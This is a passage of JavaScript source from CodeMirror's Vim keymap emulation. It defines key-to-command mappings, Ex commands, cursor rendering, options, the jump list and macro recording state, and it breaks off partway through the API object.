 *  6. Motion, operator, and action implementations
 *  7. Helper functions for the key handler, motions, operators, and
actions
 *  8. Set up Vim to work as a keymap for CodeMirror.
 *  9. Ex command implementations.
 */

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../lib/codemirror"),
require("../addon/search/searchcursor"),
require("../addon/dialog/dialog"),
require("../addon/edit/matchbrackets.js"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../lib/codemirror",
"../addon/search/searchcursor",
"../addon/dialog/dialog",
"../addon/edit/matchbrackets"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  'use strict';

  var defaultKeymap = [
    // Key to key mapping. This goes first to make it possible to override
    // existing mappings.
    { keys: '<Left>', type: 'keyToKey', toKeys:
'h' },
    { keys: '<Right>', type: 'keyToKey', toKeys:
'l' },
    { keys: '<Up>', type: 'keyToKey', toKeys:
'k' },
    { keys: '<Down>', type: 'keyToKey', toKeys:
'j' },
    { keys: '<Space>', type: 'keyToKey', toKeys:
'l' },
    { keys: '<BS>', type: 'keyToKey', toKeys:
'h', context: 'normal'},
    { keys: '<Del>', type: 'keyToKey', toKeys:
'x', context: 'normal'},
    { keys: '<C-Space>', type: 'keyToKey',
toKeys: 'W' },
    { keys: '<C-BS>', type: 'keyToKey', toKeys:
'B', context: 'normal' },
    { keys: '<S-Space>', type: 'keyToKey',
toKeys: 'w' },
    { keys: '<S-BS>', type: 'keyToKey', toKeys:
'b', context: 'normal' },
    { keys: '<C-n>', type: 'keyToKey', toKeys:
'j' },
    { keys: '<C-p>', type: 'keyToKey', toKeys:
'k' },
    { keys: '<C-[>', type: 'keyToKey', toKeys:
'<Esc>' },
    { keys: '<C-c>', type: 'keyToKey', toKeys:
'<Esc>' },
    { keys: '<C-[>', type: 'keyToKey', toKeys:
'<Esc>', context: 'insert' },
    { keys: '<C-c>', type: 'keyToKey', toKeys:
'<Esc>', context: 'insert' },
    { keys: 's', type: 'keyToKey', toKeys:
'cl', context: 'normal' },
    { keys: 's', type: 'keyToKey', toKeys:
'c', context: 'visual'},
    { keys: 'S', type: 'keyToKey', toKeys:
'cc', context: 'normal' },
    { keys: 'S', type: 'keyToKey', toKeys:
'VdO', context: 'visual' },
    { keys: '<Home>', type: 'keyToKey', toKeys:
'0' },
    { keys: '<End>', type: 'keyToKey', toKeys:
'$' },
    { keys: '<PageUp>', type: 'keyToKey', toKeys:
'<C-b>' },
    { keys: '<PageDown>', type: 'keyToKey',
toKeys: '<C-f>' },
    { keys: '<CR>', type: 'keyToKey', toKeys:
'j^', context: 'normal' },
    { keys: '<Ins>', type: 'action', action:
'toggleOverwrite', context: 'insert' },
    // Motions
    { keys: 'H', type: 'motion', motion:
'moveToTopLine', motionArgs: { linewise: true, toJumplist: true
}},
    { keys: 'M', type: 'motion', motion:
'moveToMiddleLine', motionArgs: { linewise: true, toJumplist:
true }},
    { keys: 'L', type: 'motion', motion:
'moveToBottomLine', motionArgs: { linewise: true, toJumplist:
true }},
    { keys: 'h', type: 'motion', motion:
'moveByCharacters', motionArgs: { forward: false }},
    { keys: 'l', type: 'motion', motion:
'moveByCharacters', motionArgs: { forward: true }},
    { keys: 'j', type: 'motion', motion:
'moveByLines', motionArgs: { forward: true, linewise: true }},
    { keys: 'k', type: 'motion', motion:
'moveByLines', motionArgs: { forward: false, linewise: true }},
    { keys: 'gj', type: 'motion', motion:
'moveByDisplayLines', motionArgs: { forward: true }},
    { keys: 'gk', type: 'motion', motion:
'moveByDisplayLines', motionArgs: { forward: false }},
    { keys: 'w', type: 'motion', motion:
'moveByWords', motionArgs: { forward: true, wordEnd: false }},
    { keys: 'W', type: 'motion', motion:
'moveByWords', motionArgs: { forward: true, wordEnd: false,
bigWord: true }},
    { keys: 'e', type: 'motion', motion:
'moveByWords', motionArgs: { forward: true, wordEnd: true,
inclusive: true }},
    { keys: 'E', type: 'motion', motion:
'moveByWords', motionArgs: { forward: true, wordEnd: true,
bigWord: true, inclusive: true }},
    { keys: 'b', type: 'motion', motion:
'moveByWords', motionArgs: { forward: false, wordEnd: false }},
    { keys: 'B', type: 'motion', motion:
'moveByWords', motionArgs: { forward: false, wordEnd: false,
bigWord: true }},
    { keys: 'ge', type: 'motion', motion:
'moveByWords', motionArgs: { forward: false, wordEnd: true,
inclusive: true }},
    { keys: 'gE', type: 'motion', motion:
'moveByWords', motionArgs: { forward: false, wordEnd: true,
bigWord: true, inclusive: true }},
    { keys: '{', type: 'motion', motion:
'moveByParagraph', motionArgs: { forward: false, toJumplist: true
}},
    { keys: '}', type: 'motion', motion:
'moveByParagraph', motionArgs: { forward: true, toJumplist: true
}},
    { keys: '(', type: 'motion', motion:
'moveBySentence', motionArgs: { forward: false }},
    { keys: ')', type: 'motion', motion:
'moveBySentence', motionArgs: { forward: true }},
    { keys: '<C-f>', type: 'motion', motion:
'moveByPage', motionArgs: { forward: true }},
    { keys: '<C-b>', type: 'motion', motion:
'moveByPage', motionArgs: { forward: false }},
    { keys: '<C-d>', type: 'motion', motion:
'moveByScroll', motionArgs: { forward: true, explicitRepeat: true
}},
    { keys: '<C-u>', type: 'motion', motion:
'moveByScroll', motionArgs: { forward: false, explicitRepeat:
true }},
    { keys: 'gg', type: 'motion', motion:
'moveToLineOrEdgeOfDocument', motionArgs: { forward: false,
explicitRepeat: true, linewise: true, toJumplist: true }},
    { keys: 'G', type: 'motion', motion:
'moveToLineOrEdgeOfDocument', motionArgs: { forward: true,
explicitRepeat: true, linewise: true, toJumplist: true }},
    { keys: '0', type: 'motion', motion:
'moveToStartOfLine' },
    { keys: '^', type: 'motion', motion:
'moveToFirstNonWhiteSpaceCharacter' },
    { keys: '+', type: 'motion', motion:
'moveByLines', motionArgs: { forward: true, toFirstChar:true }},
    { keys: '-', type: 'motion', motion:
'moveByLines', motionArgs: { forward: false, toFirstChar:true }},
    { keys: '_', type: 'motion', motion:
'moveByLines', motionArgs: { forward: true, toFirstChar:true,
repeatOffset:-1 }},
    { keys: '$', type: 'motion', motion:
'moveToEol', motionArgs: { inclusive: true }},
    { keys: '%', type: 'motion', motion:
'moveToMatchedSymbol', motionArgs: { inclusive: true, toJumplist:
true }},
    { keys: 'f<character>', type: 'motion',
motion: 'moveToCharacter', motionArgs: { forward: true ,
inclusive: true }},
    { keys: 'F<character>', type: 'motion',
motion: 'moveToCharacter', motionArgs: { forward: false }},
    { keys: 't<character>', type: 'motion',
motion: 'moveTillCharacter', motionArgs: { forward: true,
inclusive: true }},
    { keys: 'T<character>', type: 'motion',
motion: 'moveTillCharacter', motionArgs: { forward: false }},
    { keys: ';', type: 'motion', motion:
'repeatLastCharacterSearch', motionArgs: { forward: true }},
    { keys: ',', type: 'motion', motion:
'repeatLastCharacterSearch', motionArgs: { forward: false }},
    { keys: '\'<character>', type: 'motion',
motion: 'goToMark', motionArgs: {toJumplist: true, linewise:
true}},
    { keys: '`<character>', type: 'motion',
motion: 'goToMark', motionArgs: {toJumplist: true}},
    { keys: ']`', type: 'motion', motion:
'jumpToMark', motionArgs: { forward: true } },
    { keys: '[`', type: 'motion', motion:
'jumpToMark', motionArgs: { forward: false } },
    { keys: ']\'', type: 'motion', motion:
'jumpToMark', motionArgs: { forward: true, linewise: true } },
    { keys: '[\'', type: 'motion', motion:
'jumpToMark', motionArgs: { forward: false, linewise: true } },
    // the next two aren't motions but must come before more general
motion declarations
    { keys: ']p', type: 'action', action:
'paste', isEdit: true, actionArgs: { after: true, isEdit: true,
matchIndent: true}},
    { keys: '[p', type: 'action', action:
'paste', isEdit: true, actionArgs: { after: false, isEdit: true,
matchIndent: true}},
    { keys: ']<character>', type: 'motion',
motion: 'moveToSymbol', motionArgs: { forward: true, toJumplist:
true}},
    { keys: '[<character>', type: 'motion',
motion: 'moveToSymbol', motionArgs: { forward: false, toJumplist:
true}},
    { keys: '|', type: 'motion', motion:
'moveToColumn'},
    { keys: 'o', type: 'motion', motion:
'moveToOtherHighlightedEnd', context:'visual'},
    { keys: 'O', type: 'motion', motion:
'moveToOtherHighlightedEnd', motionArgs: {sameLine: true},
context:'visual'},
    // Operators
    { keys: 'd', type: 'operator', operator:
'delete' },
    { keys: 'y', type: 'operator', operator:
'yank' },
    { keys: 'c', type: 'operator', operator:
'change' },
    { keys: '=', type: 'operator', operator:
'indentAuto' },
    { keys: '>', type: 'operator', operator:
'indent', operatorArgs: { indentRight: true }},
    { keys: '<', type: 'operator', operator:
'indent', operatorArgs: { indentRight: false }},
    { keys: 'g~', type: 'operator', operator:
'changeCase' },
    { keys: 'gu', type: 'operator', operator:
'changeCase', operatorArgs: {toLower: true}, isEdit: true },
    { keys: 'gU', type: 'operator', operator:
'changeCase', operatorArgs: {toLower: false}, isEdit: true },
    { keys: 'n', type: 'motion', motion:
'findNext', motionArgs: { forward: true, toJumplist: true }},
    { keys: 'N', type: 'motion', motion:
'findNext', motionArgs: { forward: false, toJumplist: true }},
    // Operator-Motion dual commands
    { keys: 'x', type: 'operatorMotion', operator:
'delete', motion: 'moveByCharacters', motionArgs: {
forward: true }, operatorMotionArgs: { visualLine: false }},
    { keys: 'X', type: 'operatorMotion', operator:
'delete', motion: 'moveByCharacters', motionArgs: {
forward: false }, operatorMotionArgs: { visualLine: true }},
    { keys: 'D', type: 'operatorMotion', operator:
'delete', motion: 'moveToEol', motionArgs: { inclusive:
true }, context: 'normal'},
    { keys: 'D', type: 'operator', operator:
'delete', operatorArgs: { linewise: true }, context:
'visual'},
    { keys: 'Y', type: 'operatorMotion', operator:
'yank', motion: 'expandToLine', motionArgs: { linewise:
true }, context: 'normal'},
    { keys: 'Y', type: 'operator', operator:
'yank', operatorArgs: { linewise: true }, context:
'visual'},
    { keys: 'C', type: 'operatorMotion', operator:
'change', motion: 'moveToEol', motionArgs: { inclusive:
true }, context: 'normal'},
    { keys: 'C', type: 'operator', operator:
'change', operatorArgs: { linewise: true }, context:
'visual'},
    { keys: '~', type: 'operatorMotion', operator:
'changeCase', motion: 'moveByCharacters', motionArgs: {
forward: true }, operatorArgs: { shouldMoveCursor: true }, context:
'normal'},
    { keys: '~', type: 'operator', operator:
'changeCase', context: 'visual'},
    { keys: '<C-w>', type: 'operatorMotion',
operator: 'delete', motion: 'moveByWords', motionArgs:
{ forward: false, wordEnd: false }, context: 'insert' },
    //ignore C-w in normal mode
    { keys: '<C-w>', type: 'idle', context:
'normal' },
    // Actions
    { keys: '<C-i>', type: 'action', action:
'jumpListWalk', actionArgs: { forward: true }},
    { keys: '<C-o>', type: 'action', action:
'jumpListWalk', actionArgs: { forward: false }},
    { keys: '<C-e>', type: 'action', action:
'scroll', actionArgs: { forward: true, linewise: true }},
    { keys: '<C-y>', type: 'action', action:
'scroll', actionArgs: { forward: false, linewise: true }},
    { keys: 'a', type: 'action', action:
'enterInsertMode', isEdit: true, actionArgs: { insertAt:
'charAfter' }, context: 'normal' },
    { keys: 'A', type: 'action', action:
'enterInsertMode', isEdit: true, actionArgs: { insertAt:
'eol' }, context: 'normal' },
    { keys: 'A', type: 'action', action:
'enterInsertMode', isEdit: true, actionArgs: { insertAt:
'endOfSelectedArea' }, context: 'visual' },
    { keys: 'i', type: 'action', action:
'enterInsertMode', isEdit: true, actionArgs: { insertAt:
'inplace' }, context: 'normal' },
    { keys: 'gi', type: 'action', action:
'enterInsertMode', isEdit: true, actionArgs: { insertAt:
'lastEdit' }, context: 'normal' },
    { keys: 'I', type: 'action', action:
'enterInsertMode', isEdit: true, actionArgs: { insertAt:
'firstNonBlank'}, context: 'normal' },
    { keys: 'gI', type: 'action', action:
'enterInsertMode', isEdit: true, actionArgs: { insertAt:
'bol'}, context: 'normal' },
    { keys: 'I', type: 'action', action:
'enterInsertMode', isEdit: true, actionArgs: { insertAt:
'startOfSelectedArea' }, context: 'visual' },
    { keys: 'o', type: 'action', action:
'newLineAndEnterInsertMode', isEdit: true, interlaceInsertRepeat:
true, actionArgs: { after: true }, context: 'normal' },
    { keys: 'O', type: 'action', action:
'newLineAndEnterInsertMode', isEdit: true, interlaceInsertRepeat:
true, actionArgs: { after: false }, context: 'normal' },
    { keys: 'v', type: 'action', action:
'toggleVisualMode' },
    { keys: 'V', type: 'action', action:
'toggleVisualMode', actionArgs: { linewise: true }},
    { keys: '<C-v>', type: 'action', action:
'toggleVisualMode', actionArgs: { blockwise: true }},
    { keys: '<C-q>', type: 'action', action:
'toggleVisualMode', actionArgs: { blockwise: true }},
    { keys: 'gv', type: 'action', action:
'reselectLastSelection' },
    { keys: 'J', type: 'action', action:
'joinLines', isEdit: true },
    { keys: 'gJ', type: 'action', action:
'joinLines', actionArgs: { keepSpaces: true }, isEdit: true },
    { keys: 'p', type: 'action', action:
'paste', isEdit: true, actionArgs: { after: true, isEdit: true
}},
    { keys: 'P', type: 'action', action:
'paste', isEdit: true, actionArgs: { after: false, isEdit: true
}},
    { keys: 'r<character>', type: 'action',
action: 'replace', isEdit: true },
    { keys: '@<character>', type: 'action',
action: 'replayMacro' },
    { keys: 'q<character>', type: 'action',
action: 'enterMacroRecordMode' },
    // Handle Replace-mode as a special case of insert mode.
    { keys: 'R', type: 'action', action:
'enterInsertMode', isEdit: true, actionArgs: { replace: true },
context: 'normal'},
    { keys: 'R', type: 'operator', operator:
'change', operatorArgs: { linewise: true, fullLine: true },
context: 'visual', exitVisualBlock: true},
    { keys: 'u', type: 'action', action:
'undo', context: 'normal' },
    { keys: 'u', type: 'operator', operator:
'changeCase', operatorArgs: {toLower: true}, context:
'visual', isEdit: true },
    { keys: 'U', type: 'operator', operator:
'changeCase', operatorArgs: {toLower: false}, context:
'visual', isEdit: true },
    { keys: '<C-r>', type: 'action', action:
'redo' },
    { keys: 'm<character>', type: 'action',
action: 'setMark' },
    { keys: '"<character>', type: 'action',
action: 'setRegister' },
    { keys: 'zz', type: 'action', action:
'scrollToCursor', actionArgs: { position: 'center' }},
    { keys: 'z.', type: 'action', action:
'scrollToCursor', actionArgs: { position: 'center' },
motion: 'moveToFirstNonWhiteSpaceCharacter' },
    { keys: 'zt', type: 'action', action:
'scrollToCursor', actionArgs: { position: 'top' }},
    { keys: 'z<CR>', type: 'action', action:
'scrollToCursor', actionArgs: { position: 'top' },
motion: 'moveToFirstNonWhiteSpaceCharacter' },
    { keys: 'z-', type: 'action', action:
'scrollToCursor', actionArgs: { position: 'bottom' }},
    { keys: 'zb', type: 'action', action:
'scrollToCursor', actionArgs: { position: 'bottom' },
motion: 'moveToFirstNonWhiteSpaceCharacter' },
    { keys: '.', type: 'action', action:
'repeatLastEdit' },
    { keys: '<C-a>', type: 'action', action:
'incrementNumberToken', isEdit: true, actionArgs: {increase:
true, backtrack: false}},
    { keys: '<C-x>', type: 'action', action:
'incrementNumberToken', isEdit: true, actionArgs: {increase:
false, backtrack: false}},
    { keys: '<C-t>', type: 'action', action:
'indent', actionArgs: { indentRight: true }, context:
'insert' },
    { keys: '<C-d>', type: 'action', action:
'indent', actionArgs: { indentRight: false }, context:
'insert' },
    // Text object motions
    { keys: 'a<character>', type: 'motion',
motion: 'textObjectManipulation' },
    { keys: 'i<character>', type: 'motion',
motion: 'textObjectManipulation', motionArgs: { textObjectInner:
true }},
    // Search
    { keys: '/', type: 'search', searchArgs: { forward:
true, querySrc: 'prompt', toJumplist: true }},
    { keys: '?', type: 'search', searchArgs: { forward:
false, querySrc: 'prompt', toJumplist: true }},
    { keys: '*', type: 'search', searchArgs: { forward:
true, querySrc: 'wordUnderCursor', wholeWordOnly: true,
toJumplist: true }},
    { keys: '#', type: 'search', searchArgs: { forward:
false, querySrc: 'wordUnderCursor', wholeWordOnly: true,
toJumplist: true }},
    { keys: 'g*', type: 'search', searchArgs: {
forward: true, querySrc: 'wordUnderCursor', toJumplist: true }},
    { keys: 'g#', type: 'search', searchArgs: {
forward: false, querySrc: 'wordUnderCursor', toJumplist: true }},
    // Ex command
    { keys: ':', type: 'ex' }
  ];
  var defaultKeymapLength = defaultKeymap.length;

  /**
   * Ex commands
   * Care must be taken when adding to the default Ex command map. For any
   * pair of commands that have a shared prefix, at least one of their
   * shortNames must not match the prefix of the other command.
   */
  var defaultExCommandMap = [
    { name: 'colorscheme', shortName: 'colo' },
    { name: 'map' },
    { name: 'imap', shortName: 'im' },
    { name: 'nmap', shortName: 'nm' },
    { name: 'vmap', shortName: 'vm' },
    { name: 'unmap' },
    { name: 'write', shortName: 'w' },
    { name: 'undo', shortName: 'u' },
    { name: 'redo', shortName: 'red' },
    { name: 'set', shortName: 'se' },
    { name: 'setlocal', shortName: 'setl' },
    { name: 'setglobal', shortName: 'setg' },
    { name: 'sort', shortName: 'sor' },
    { name: 'substitute', shortName: 's',
possiblyAsync: true },
    { name: 'nohlsearch', shortName: 'noh' },
    { name: 'yank', shortName: 'y' },
    { name: 'delmarks', shortName: 'delm' },
    { name: 'registers', shortName: 'reg',
excludeFromCommandHistory: true },
    { name: 'global', shortName: 'g' }
  ];

  var Pos = CodeMirror.Pos;

  var Vim = function() {
    function enterVimMode(cm) {
      cm.setOption('disableInput', true);
      cm.setOption('showCursorWhenSelecting', false);
      CodeMirror.signal(cm, "vim-mode-change", {mode:
"normal"});
      cm.on('cursorActivity', onCursorActivity);
      maybeInitVimState(cm);
      CodeMirror.on(cm.getInputField(), 'paste',
getOnPasteFn(cm));
    }

    function leaveVimMode(cm) {
      cm.setOption('disableInput', false);
      cm.off('cursorActivity', onCursorActivity);
      CodeMirror.off(cm.getInputField(), 'paste',
getOnPasteFn(cm));
      cm.state.vim = null;
    }

    function detachVimMap(cm, next) {
      if (this == CodeMirror.keyMap.vim) {
        CodeMirror.rmClass(cm.getWrapperElement(),
"cm-fat-cursor");
        if (cm.getOption("inputStyle") ==
"contenteditable" && document.body.style.caretColor !=
null) {
          disableFatCursorMark(cm);
          cm.getInputField().style.caretColor = "";
        }
      }

      if (!next || next.attach != attachVimMap)
        leaveVimMode(cm);
    }
    function attachVimMap(cm, prev) {
      if (this == CodeMirror.keyMap.vim) {
        CodeMirror.addClass(cm.getWrapperElement(),
"cm-fat-cursor");
        if (cm.getOption("inputStyle") ==
"contenteditable" && document.body.style.caretColor !=
null) {
          enableFatCursorMark(cm);
          cm.getInputField().style.caretColor = "transparent";
        }
      }

      if (!prev || prev.attach != attachVimMap)
        enterVimMode(cm);
    }

    function updateFatCursorMark(cm) {
      if (!cm.state.fatCursorMarks) return;
      clearFatCursorMark(cm);
      var ranges = cm.listSelections(), result = []
      for (var i = 0; i < ranges.length; i++) {
        var range = ranges[i];
        if (range.empty()) {
          var lineLength = cm.getLine(range.anchor.line).length;
          if (range.anchor.ch < lineLength) {
            result.push(cm.markText(range.anchor, Pos(range.anchor.line,
range.anchor.ch + 1),
                                    {className:
"cm-fat-cursor-mark"}));
          } else {
            result.push(cm.markText(Pos(range.anchor.line, lineLength - 1),
                                    Pos(range.anchor.line, lineLength),
                                    {className:
"cm-fat-cursor-mark"}));
          }
        }
      }
      cm.state.fatCursorMarks = result;
    }

    function clearFatCursorMark(cm) {
      var marks = cm.state.fatCursorMarks;
      if (marks) for (var i = 0; i < marks.length; i++)
marks[i].clear();
    }

    function enableFatCursorMark(cm) {
      cm.state.fatCursorMarks = [];
      updateFatCursorMark(cm)
      cm.on("cursorActivity", updateFatCursorMark)
    }

    function disableFatCursorMark(cm) {
      clearFatCursorMark(cm);
      cm.off("cursorActivity", updateFatCursorMark);
      // explicitly set fatCursorMarks to null because event listener above
      // can be invoke after removing it, if off is called from operation
      cm.state.fatCursorMarks = null;
    }

    // Deprecated, simply setting the keymap works again.
    CodeMirror.defineOption('vimMode', false, function(cm, val,
prev) {
      if (val && cm.getOption("keyMap") !=
"vim")
        cm.setOption("keyMap", "vim");
      else if (!val && prev != CodeMirror.Init &&
/^vim/.test(cm.getOption("keyMap")))
        cm.setOption("keyMap", "default");
    });

    function cmKey(key, cm) {
      if (!cm) { return undefined; }
      if (this[key]) { return this[key]; }
      var vimKey = cmKeyToVimKey(key);
      if (!vimKey) {
        return false;
      }
      var cmd = CodeMirror.Vim.findKey(cm, vimKey);
      if (typeof cmd == 'function') {
        CodeMirror.signal(cm, 'vim-keypress', vimKey);
      }
      return cmd;
    }

    var modifiers = {'Shift': 'S', 'Ctrl':
'C', 'Alt': 'A', 'Cmd':
'D', 'Mod': 'A'};
    var specialKeys =
{Enter:'CR',Backspace:'BS',Delete:'Del',Insert:'Ins'};
    function cmKeyToVimKey(key) {
      if (key.charAt(0) == '\'') {
        // Keypress character binding of format "'a'"
        return key.charAt(1);
      }
      var pieces = key.split(/-(?!$)/);
      var lastPiece = pieces[pieces.length - 1];
      if (pieces.length == 1 && pieces[0].length == 1) {
        // No-modifier bindings use literal character bindings above. Skip.
        return false;
      } else if (pieces.length == 2 && pieces[0] ==
'Shift' && lastPiece.length == 1) {
        // Ignore Shift+char bindings as they should be handled by literal
character.
        return false;
      }
      var hasCharacter = false;
      for (var i = 0; i < pieces.length; i++) {
        var piece = pieces[i];
        if (piece in modifiers) { pieces[i] = modifiers[piece]; }
        else { hasCharacter = true; }
        if (piece in specialKeys) { pieces[i] = specialKeys[piece]; }
      }
      if (!hasCharacter) {
        // Vim does not support modifier only keys.
        return false;
      }
      // TODO: Current bindings expect the character to be lower case, but
      // it looks like vim key notation uses upper case.
      if (isUpperCase(lastPiece)) {
        pieces[pieces.length - 1] = lastPiece.toLowerCase();
      }
      return '<' + pieces.join('-') +
'>';
    }

    function getOnPasteFn(cm) {
      var vim = cm.state.vim;
      if (!vim.onPasteFn) {
        vim.onPasteFn = function() {
          if (!vim.insertMode) {
            cm.setCursor(offsetCursor(cm.getCursor(), 0, 1));
            actions.enterInsertMode(cm, {}, vim);
          }
        };
      }
      return vim.onPasteFn;
    }

    var numberRegex = /[\d]/;
    var wordCharTest = [CodeMirror.isWordChar, function(ch) {
      return ch && !CodeMirror.isWordChar(ch) &&
!/\s/.test(ch);
    }], bigWordCharTest = [function(ch) {
      return /\S/.test(ch);
    }];
    function makeKeyRange(start, size) {
      var keys = [];
      for (var i = start; i < start + size; i++) {
        keys.push(String.fromCharCode(i));
      }
      return keys;
    }
    var upperCaseAlphabet = makeKeyRange(65, 26);
    var lowerCaseAlphabet = makeKeyRange(97, 26);
    var numbers = makeKeyRange(48, 10);
    var validMarks = [].concat(upperCaseAlphabet, lowerCaseAlphabet,
numbers, ['<', '>']);
    var validRegisters = [].concat(upperCaseAlphabet, lowerCaseAlphabet,
numbers, ['-', '"', '.', ':',
'/']);

    function isLine(cm, line) {
      return line >= cm.firstLine() && line <= cm.lastLine();
    }
    function isLowerCase(k) {
      return (/^[a-z]$/).test(k);
    }
    function isMatchableSymbol(k) {
      return '()[]{}'.indexOf(k) != -1;
    }
    function isNumber(k) {
      return numberRegex.test(k);
    }
    function isUpperCase(k) {
      return (/^[A-Z]$/).test(k);
    }
    function isWhiteSpaceString(k) {
      return (/^\s*$/).test(k);
    }
    function isEndOfSentenceSymbol(k) {
      return '.?!'.indexOf(k) != -1;
    }
    function inArray(val, arr) {
      for (var i = 0; i < arr.length; i++) {
        if (arr[i] == val) {
          return true;
        }
      }
      return false;
    }

    var options = {};
    function defineOption(name, defaultValue, type, aliases, callback) {
      if (defaultValue === undefined && !callback) {
        throw Error('defaultValue is required unless callback is
provided');
      }
      if (!type) { type = 'string'; }
      options[name] = {
        type: type,
        defaultValue: defaultValue,
        callback: callback
      };
      if (aliases) {
        for (var i = 0; i < aliases.length; i++) {
          options[aliases[i]] = options[name];
        }
      }
      if (defaultValue) {
        setOption(name, defaultValue);
      }
    }

    function setOption(name, value, cm, cfg) {
      var option = options[name];
      cfg = cfg || {};
      var scope = cfg.scope;
      if (!option) {
        return new Error('Unknown option: ' + name);
      }
      if (option.type == 'boolean') {
        if (value && value !== true) {
          return new Error('Invalid argument: ' + name +
'=' + value);
        } else if (value !== false) {
          // Boolean options are set to true if value is not defined.
          value = true;
        }
      }
      if (option.callback) {
        if (scope !== 'local') {
          option.callback(value, undefined);
        }
        if (scope !== 'global' && cm) {
          option.callback(value, cm);
        }
      } else {
        if (scope !== 'local') {
          option.value = option.type == 'boolean' ? !!value :
value;
        }
        if (scope !== 'global' && cm) {
          cm.state.vim.options[name] = {value: value};
        }
      }
    }

    function getOption(name, cm, cfg) {
      var option = options[name];
      cfg = cfg || {};
      var scope = cfg.scope;
      if (!option) {
        return new Error('Unknown option: ' + name);
      }
      if (option.callback) {
        var local = cm && option.callback(undefined, cm);
        if (scope !== 'global' && local !== undefined) {
          return local;
        }
        if (scope !== 'local') {
          return option.callback();
        }
        return;
      } else {
        var local = (scope !== 'global') && (cm
&& cm.state.vim.options[name]);
        return (local || (scope !== 'local') && option ||
{}).value;
      }
    }

    defineOption('filetype', undefined, 'string',
['ft'], function(name, cm) {
      // Option is local. Do nothing for global.
      if (cm === undefined) {
        return;
      }
      // The 'filetype' option proxies to the CodeMirror
'mode' option.
      if (name === undefined) {
        var mode = cm.getOption('mode');
        return mode == 'null' ? '' : mode;
      } else {
        var mode = name == '' ? 'null' : name;
        cm.setOption('mode', mode);
      }
    });

    var createCircularJumpList = function() {
      var size = 100;
      var pointer = -1;
      var head = 0;
      var tail = 0;
      var buffer = new Array(size);
      function add(cm, oldCur, newCur) {
        var current = pointer % size;
        var curMark = buffer[current];
        function useNextSlot(cursor) {
          var next = ++pointer % size;
          var trashMark = buffer[next];
          if (trashMark) {
            trashMark.clear();
          }
          buffer[next] = cm.setBookmark(cursor);
        }
        if (curMark) {
          var markPos = curMark.find();
          // avoid recording redundant cursor position
          if (markPos && !cursorEqual(markPos, oldCur)) {
            useNextSlot(oldCur);
          }
        } else {
          useNextSlot(oldCur);
        }
        useNextSlot(newCur);
        head = pointer;
        tail = pointer - size + 1;
        if (tail < 0) {
          tail = 0;
        }
      }
      function move(cm, offset) {
        pointer += offset;
        if (pointer > head) {
          pointer = head;
        } else if (pointer < tail) {
          pointer = tail;
        }
        var mark = buffer[(size + pointer) % size];
        // skip marks that are temporarily removed from text buffer
        if (mark && !mark.find()) {
          var inc = offset > 0 ? 1 : -1;
          var newCur;
          var oldCur = cm.getCursor();
          do {
            pointer += inc;
            mark = buffer[(size + pointer) % size];
            // skip marks that are the same as current position
            if (mark &&
                (newCur = mark.find()) &&
                !cursorEqual(oldCur, newCur)) {
              break;
            }
          } while (pointer < head && pointer > tail);
        }
        return mark;
      }
      function find(cm, offset) {
        var oldPointer = pointer;
        var mark = move(cm, offset);
        pointer = oldPointer;
        return mark && mark.find();
      }
      return {
        cachedCursor: undefined, //used for # and * jumps
        add: add,
        find: find,
        move: move
      };
    };

    // Returns an object to track the changes associated insert mode.  It
    // clones the object that is passed in, or creates an empty object one
if
    // none is provided.
    var createInsertModeChanges = function(c) {
      if (c) {
        // Copy construction
        return {
          changes: c.changes,
          expectCursorActivityForChange: c.expectCursorActivityForChange
        };
      }
      return {
        // Change list
        changes: [],
        // Set to true on change, false on cursorActivity.
        expectCursorActivityForChange: false
      };
    };

    function MacroModeState() {
      this.latestRegister = undefined;
      this.isPlaying = false;
      this.isRecording = false;
      this.replaySearchQueries = [];
      this.onRecordingDone = undefined;
      this.lastInsertModeChanges = createInsertModeChanges();
    }
    MacroModeState.prototype = {
      exitMacroRecordMode: function() {
        var macroModeState = vimGlobalState.macroModeState;
        if (macroModeState.onRecordingDone) {
          macroModeState.onRecordingDone(); // close dialog
        }
        macroModeState.onRecordingDone = undefined;
        macroModeState.isRecording = false;
      },
      enterMacroRecordMode: function(cm, registerName) {
        var register =
            vimGlobalState.registerController.getRegister(registerName);
        if (register) {
          register.clear();
          this.latestRegister = registerName;
          if (cm.openDialog) {
            this.onRecordingDone = cm.openDialog(
                '(recording)['+registerName+']', null,
{bottom:true});
          }
          this.isRecording = true;
        }
      }
    };

    function maybeInitVimState(cm) {
      if (!cm.state.vim) {
        // Store instance state in the CodeMirror object.
        cm.state.vim = {
          inputState: new InputState(),
          // Vim's input state that triggered the last edit, used to
repeat
          // motions and operators with '.'.
          lastEditInputState: undefined,
          // Vim's action command before the last edit, used to repeat
actions
          // with '.' and insert mode repeat.
          lastEditActionCommand: undefined,
          // When using jk for navigation, if you move from a longer line
to a
          // shorter line, the cursor may clip to the end of the shorter
line.
          // If j is pressed again and cursor goes to the next line, the
          // cursor should go back to its horizontal position on the longer
          // line if it can. This is to keep track of the horizontal
position.
          lastHPos: -1,
          // Doing the same with screen-position for gj/gk
          lastHSPos: -1,
          // The last motion command run. Cleared if a non-motion command
gets
          // executed in between.
          lastMotion: null,
          marks: {},
          // Mark for rendering fake cursor for visual mode.
          fakeCursor: null,
          insertMode: false,
          // Repeat count for changes made in insert mode, triggered by key
          // sequences like 3,i. Only exists when insertMode is true.
          insertModeRepeat: undefined,
          visualMode: false,
          // If we are in visual line mode. No effect if visualMode is
false.
          visualLine: false,
          visualBlock: false,
          lastSelection: null,
          lastPastedText: null,
          sel: {},
          // Buffer-local/window-local values of vim options.
          options: {}
        };
      }
      return cm.state.vim;
    }
    var vimGlobalState;
    function resetVimGlobalState() {
      vimGlobalState = {
        // The current search query.
        searchQuery: null,
        // Whether we are searching backwards.
        searchIsReversed: false,
        // Replace part of the last substituted pattern
        lastSubstituteReplacePart: undefined,
        jumpList: createCircularJumpList(),
        macroModeState: new MacroModeState,
        // Recording latest f, t, F or T motion command.
        lastCharacterSearch: {increment:0, forward:true,
selectedCharacter:''},
        registerController: new RegisterController({}),
        // search history buffer
        searchHistoryController: new HistoryController(),
        // ex Command history buffer
        exCommandHistoryController : new HistoryController()
      };
      for (var optionName in options) {
        var option = options[optionName];
        option.value = option.defaultValue;
      }
    }

    var lastInsertModeKeyTimer;
    var vimApi= {
      buildKeyMap: function() {
        // TODO: Convert keymap into dictionary format for fast lookup.
      },
      // Testing hook, though it might be useful to expose the register
